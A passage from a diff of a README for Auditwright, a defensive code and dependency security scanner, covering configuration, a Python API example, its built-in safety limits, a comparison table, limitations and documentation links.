+
hooks:
|
|
180
|
+
- id: auditwright # or auditwright-secrets for a fast secrets-only check
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
**Anywhere else:** `pip install auditwright && auditwright scan --format sarif,junit,html -o reports --fail-on high`.
|
|
184
|
+
See [docs/ci.md](docs/ci.md) for GitLab, baselines and pull-request-only gating.
|
|
185
|
+
|
|
186
|
+
## Configuration
|
|
187
|
+
|
|
188
|
+
Optional `auditwright.json` in the project root:
|
|
189
|
+
|
|
190
|
+
```json
|
|
191
|
+
{
|
|
192
|
+
"exclude": ["fixtures/", "*.min.js"],
|
|
193
|
+
"disable": ["AW-PQ-001"],
|
|
194
|
+
"severity": {"AW-GHA-005": "info"},
|
|
195
|
+
"ignore": [{"rule": "AW-PY-004", "path": "scripts/", "reason": "admin-only tooling"}],
|
|
196
|
+
"fail_on": "high",
|
|
197
|
+
"baseline": ".auditwright-baseline.json"
|
|
198
|
+
}
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
Single lines can be suppressed inline with `# auditwright: ignore[AW-PY-001]` (or `// ...`).
|
|
202
|
+
See [docs/configuration.md](docs/configuration.md).
|
|
203
|
+
|
|
204
|
+
## Python API
|
|
205
|
+
|
|
206
|
+
```python
|
|
207
|
+
from pathlib import Path
|
|
208
|
+
from auditwright import Options, scan
|
|
209
|
+
from auditwright.report.html import render
|
|
210
|
+
|
|
211
|
+
report = scan(Path("."), Options(offline=True))
|
|
212
|
+
print(report.counts())
|
|
213
|
+
Path("report.html").write_text(render(report), encoding="utf-8")
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
## Safe by design
|
|
217
|
+
|
|
218
|
+
Auditwright reads untrusted code for a living, so it is built to be hard to turn against you:
|
|
219
|
+
|
|
220
|
+
- `scan` never executes project code. Tests run only when you ask (`test`, `--run-tests`).
|
|
221
|
+
- Git history is read with external diff drivers, text-conversion filters, pagers and fsmonitor
|
|
222
|
+
disabled, so a malicious repository cannot make git run commands.
|
|
223
|
+
- Every regular expression runs per line without nested quantifiers (linear time); files are size-capped;
|
|
224
|
+
symlinks are never followed out of the project.
|
|
225
|
+
- Network access goes only to `api.osv.dev` (skip it with `--offline`), with TLS verification, time-outs and size caps.
|
|
226
|
+
- The pen tester refuses to run without `--i-am-authorized`, stays on one origin, never follows
|
|
227
|
+
redirects, sends a bounded number of non-destructive requests and waits between them.
|
|
228
|
+
- The network scanner also requires `--i-am-authorized`, scans only private ranges unless you pass
|
|
229
|
+
`--allow-public`, caps the number of hosts, and uses read-only handshakes (no password guessing, no exploits).
|
|
230
|
+
- Zero runtime dependencies; releases are built in CI and published with PyPI Trusted Publishing.
|
|
231
|
+
|
|
232
|
+
Read the [threat model](docs/threat-model.md).
|
|
233
|
+
|
|
234
|
+
## How it compares
|
|
235
|
+
|
|
236
|
+
| | Auditwright | Single-purpose tools |
|
|
237
|
+
|---|---|---|
|
|
238
|
+
| Code, secrets, dependencies, IaC, AI risks, crypto, tests, pen test | One tool, one report | Five or more tools and five report formats |
|
|
239
|
+
| Python taint tracking into LLM-specific sinks | Yes | Rare |
|
|
240
|
+
| Post-quantum crypto inventory | Yes | Rare |
|
|
241
|
+
| Test generation from type hints, with side-effect safety | Yes | Separate tooling |
|
|
242
|
+
| Runtime dependencies | 0 | Often dozens |
|
|
243
|
+
|
|
244
|
+
Dedicated tools go deeper in their own lane (for example full inter-procedural analysis or huge rule
|
|
245
|
+
catalogues), and Auditwright's SARIF output sits happily next to them. Auditwright's strength is breadth,
|
|
246
|
+
signal quality and a report people can act on.
|
|
247
|
+
|
|
248
|
+
## Limitations
|
|
249
|
+
|
|
250
|
+
- Taint tracking is intra-procedural (within a function) and Python-only; other languages use line rules.
|
|
251
|
+
- Static analysis cannot prove the absence of vulnerabilities and can report false positives.
|
|
252
|
+
Use the confidence field, suppressions and baselines to tune it.
|
|
253
|
+
- The pen tester and network scanner are misconfiguration and exposure checks, not a replacement for a
|
|
254
|
+
human-led penetration test. The network scanner checks TCP services only.
|
|
255
|
+
- Test generation targets Python functions with type hints.
|
|
256
|
+
|
|
257
|
+
## Documentation
|
|
258
|
+
|
|
259
|
+
[Getting started](docs/getting-started.md) ·
|
|
260
|
+
[Commands](docs/commands.md) ·
|
|
261
|
+
[Reports](docs/reports.md) ·
|
|
262
|
+
[Rules](docs/rules.md) ·
|
|
263
|
+
[CI](docs/ci.md) ·
|
|
264
|
+
[Configuration](docs/configuration.md) ·
|
|
265
|
+
[How it works](docs/how-it-works.md) ·
|
|
266
|
+
[Pen testing](docs/pentest.md) ·
|
|
267
|
+
[Network scanning](docs/netscan.md) ·
|
|
268
|
+
[Test generation](docs/test-generation.md) ·
|
|
269
|
+
[Threat model](docs/threat-model.md) ·
|
|
270
|
+
[FAQ](docs/faq.md)
|
|
271
|
+
|
|
272
|
+
## Reporting problems
|
|
273
|
+
|
|
274
|
+
- **Wrong result** (false positive, missed issue): open a "Wrong result" issue with a minimal example.
|
|
275
|
+
- **Bugs and feature requests:** use the issue forms; include `auditwright doctor` output.
|
|
276
|
+
- **Vulnerabilities in Auditwright:** report privately via the Security tab. See [SECURITY.md](SECURITY.md).
|
|
277
|
+
|
|
278
|
+
## License
|
|
279
|
+
|
|
280
|
+
Apache License 2.0. See [LICENSE](LICENSE).
|